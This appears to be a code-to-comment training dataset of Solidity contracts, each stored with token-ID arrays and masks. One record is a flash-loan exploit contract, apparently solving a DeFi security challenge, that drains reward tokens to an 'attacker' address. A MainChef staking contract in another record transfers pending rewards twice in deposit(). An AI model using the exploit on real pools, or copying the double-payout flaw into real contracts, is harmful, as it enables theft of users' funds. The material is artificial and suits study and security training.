[ 1, 986, 4501, 372, 24237, 2430, 358, 384, 6159, 6835, 225, 389, 8949, 434, 2430, 358, 384, 911, 225, 389, 22097, 1369, 434, 21447, 3372, 225, 389, 12908, 537, 2747, 1699, 1359, 364, 326, 1147, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 48, 18988, 24237, 510, 911, 1190, 9123, 305, 12, 203, 3639, 2254, 5034, 389, 8949, 16, 203, 3639, 2254, 5034, 389, 22097, 1369, 16, 203, 3639, 1426, 389, 12908, 537, 2747, 16, 203, 3639, 2254, 28, 331, 16, 203, 3639, 1731, 1578, 436, 16, 203, 3639, 1731, 1578, 272, 203, 565, 262, 3903, 288, 203, 3639, 2254, 5034, 460, 273, 389, 12908, 537, 2747, 692, 618, 12, 11890, 5034, 2934, 1896, 294, 389, 8949, 31, 203, 3639, 467, 654, 39, 3462, 12, 549, 372, 24237, 1887, 2934, 457, 1938, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 460, 16, 389, 22097, 1369, 16, 331, 16, 436, 16, 272, 1769, 203, 3639, 389, 1289, 510, 911, 12, 3576, 18, 15330, 16, 389, 8949, 16, 638, 1769, 203, 3639, 3626, 934, 911, 48, 18988, 24237, 8602, 12, 3576, 18, 15330, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
import "../the-rewarder/FlashLoanerPool.sol"; import "../the-rewarder/TheRewarderPool.sol"; import "../DamnValuableToken.sol"; contract AttackReward { FlashLoanerPool pool; DamnValuableToken public immutable liquidityToken; TheRewarderPool rewardPool; address payable owner; constructor( address poolAddress, address liquidityTokenAddress, address rewardPoolAddress, address payable _owner ) { pool = FlashLoanerPool(poolAddress); liquidityToken = DamnValuableToken(liquidityTokenAddress); rewardPool = TheRewarderPool(rewardPoolAddress); owner = _owner; } function attack(uint256 amount) external { pool.flashLoan(amount); } function receiveFlashLoan(uint256 amount) external { // Approve the reward pool to spend our borrowed funds liquidityToken.approve(address(rewardPool), amount); // Deposit massive portion of funds and distributes rewards rewardPool.deposit(amount); rewardPool.withdraw(amount); // Return funds liquidityToken.transfer(address(pool), amount); // Transfer funds back to attacker uint256 currBal = rewardPool.rewardToken().balanceOf(address(this)); rewardPool.rewardToken().transfer(owner, currBal); } }
Approve the reward pool to spend our borrowed funds Deposit massive portion of funds and distributes rewards Return funds Transfer funds back to attacker
function receiveFlashLoan(uint256 amount) external { liquidityToken.approve(address(rewardPool), amount); rewardPool.deposit(amount); rewardPool.withdraw(amount); liquidityToken.transfer(address(pool), amount); uint256 currBal = rewardPool.rewardToken().balanceOf(address(this)); rewardPool.rewardToken().transfer(owner, currBal); }
13,037,758
[ 1, 12053, 537, 326, 19890, 2845, 358, 17571, 3134, 29759, 329, 284, 19156, 4019, 538, 305, 8039, 688, 14769, 434, 284, 19156, 471, 1015, 1141, 283, 6397, 2000, 284, 19156, 12279, 284, 19156, 1473, 358, 13843, 264, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6798, 11353, 1504, 304, 12, 11890, 5034, 3844, 13, 3903, 288, 203, 3639, 4501, 372, 24237, 1345, 18, 12908, 537, 12, 2867, 12, 266, 2913, 2864, 3631, 3844, 1769, 203, 540, 203, 3639, 19890, 2864, 18, 323, 1724, 12, 8949, 1769, 203, 3639, 19890, 2864, 18, 1918, 9446, 12, 8949, 1769, 203, 203, 3639, 4501, 372, 24237, 1345, 18, 13866, 12, 2867, 12, 6011, 3631, 3844, 1769, 203, 203, 3639, 2254, 5034, 4306, 38, 287, 273, 19890, 2864, 18, 266, 2913, 1345, 7675, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 19890, 2864, 18, 266, 2913, 1345, 7675, 13866, 12, 8443, 16, 4306, 38, 287, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract CodeWithJoe is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "GukBbong Coin"; symbol = "BBONG"; decimals = 0; _totalSupply = 1000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
* Constrctor function Initializes contract with initial supply tokens to the creator of the contract/
constructor() public { name = "GukBbong Coin"; symbol = "BBONG"; decimals = 0; _totalSupply = 1000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); }
1,415,803
[ 1, 442, 701, 30206, 445, 10188, 3128, 6835, 598, 2172, 14467, 2430, 358, 326, 11784, 434, 326, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 1071, 288, 203, 3639, 508, 273, 315, 6099, 79, 38, 70, 932, 28932, 14432, 203, 3639, 3273, 273, 315, 9676, 7390, 14432, 203, 3639, 15105, 273, 374, 31, 203, 3639, 389, 4963, 3088, 1283, 273, 15088, 9449, 31, 203, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 1234, 18, 15330, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract LPToken is ERC20("LP Token", "LPT"), Ownable { constructor() public { _mint(msg.sender, 10e18); } function mint(address account, uint value) public onlyOwner { _mint(account, value); } } // KhinkalToken with Governance. contract KhinkalToken is ERC20("KhinkalToken", "KHINKAL"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "KHINKAL::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "KHINKAL::delegateBySig: invalid nonce"); require(now <= expiry, "KHINKAL::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "KHINKAL::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying KHINKALs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "KHINKAL::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // MainChef is the master of Khinkal. He can make Khinkal and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once KHINKAL is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MainChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of KHINKALs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accKhinkalPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accKhinkalPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. KHINKALs to distribute per block. uint256 lastRewardBlock; // Last block number that KHINKALs distribution occurs. uint256 accKhinkalPerShare; // Accumulated KHINKALs per share, times 1e12. See below. uint256 lastKhinkalReward; // Protection against incorrect tokenomics } // The KHINKAL TOKEN! KhinkalToken public khinkal; // Dev address. address public devaddr; // Governance address. address public governance; // Block number when bonus KHINKAL period ends. uint256 public bonusEndBlock; // KHINKAL tokens created per block. uint256 public khinkalPerBlock; // Bonus muliplier for early khinkal makers. uint256 public constant BONUS_MULTIPLIER = 10; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when KHINKAL mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( KhinkalToken _khinkal, address _devaddr, uint256 _khinkalPerBlock, uint256 _startBlock, uint256 _bonusEndBlock, address _governance ) public { khinkal = _khinkal; devaddr = _devaddr; khinkalPerBlock = _khinkalPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; governance = _governance; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { _add(_allocPoint, _lpToken, _withUpdate); } // Add a new lp with the default allocation points value to the pool. function addToken( IERC20 _lpToken ) public { require(msg.sender == owner() || msg.sender == governance, "Access denied"); _add(1, _lpToken, true); } function _add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) internal { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accKhinkalPerShare: 0, lastKhinkalReward: 0 }) ); } // Update the given pool's KHINKAL allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _from, uint256 _to ) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending KHINKALs on frontend. function pendingKhinkal( uint256 _pid, address _user ) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accKhinkalPerShare = pool.accKhinkalPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 khinkalReward = multiplier.mul(khinkalPerBlock).mul(pool.allocPoint).div( totalAllocPoint ); accKhinkalPerShare = accKhinkalPerShare.add( khinkalReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accKhinkalPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool( uint256 _pid ) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 khinkalReward = multiplier.mul(khinkalPerBlock).mul(pool.allocPoint).div( totalAllocPoint ); khinkal.mint(devaddr, khinkalReward.div(10)); khinkal.mint(address(this), khinkalReward); pool.accKhinkalPerShare = pool.accKhinkalPerShare.add( khinkalReward.mul(1e12).div(lpSupply) ); pool.lastKhinkalReward = khinkalReward; pool.lastRewardBlock = block.number; } // Deposit LP tokens to MainChef for KHINKAL allocation. function deposit( uint256 _pid, uint256 _amount ) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accKhinkalPerShare).div(1e12).sub( user.rewardDebt ); require(pending <= pool.lastKhinkalReward, "Reward bigger than minted"); if(pending > 0) { khinkal.transfer(msg.sender, pending); } khinkal.transfer(msg.sender, pending); } pool.lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accKhinkalPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MainChef. function withdraw( uint256 _pid ) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accKhinkalPerShare).div(1e12).sub( user.rewardDebt ); require(pending <= pool.lastKhinkalReward, "Reward bigger than minted"); if(pending > 0) { khinkal.transfer(msg.sender, pending); } if(user.amount > 0) { pool.lpToken.safeTransfer(address(msg.sender), user.amount); user.amount = 0; user.rewardDebt = user.amount.mul(pool.accKhinkalPerShare).div(1e12); } emit Withdraw(msg.sender, _pid, user.amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw( uint256 _pid ) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Update governance address by the governance. function setGovernance( address _governance ) public { require(msg.sender == owner() || msg.sender == _governance, "Access denied"); governance = _governance; } // Update dev address by the previous dev. function dev( address _devaddr ) public { require(msg.sender == owner() || msg.sender == devaddr, "Access denied"); devaddr = _devaddr; } }
Add a new lp to the pool. Can only be called by the owner. XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { _add(_allocPoint, _lpToken, _withUpdate); }
5,402,086
[ 1, 986, 279, 394, 12423, 358, 326, 2845, 18, 4480, 1338, 506, 2566, 635, 326, 3410, 18, 11329, 5467, 4269, 527, 326, 1967, 511, 52, 1147, 1898, 2353, 3647, 18, 534, 359, 14727, 903, 506, 15216, 730, 731, 309, 1846, 741, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
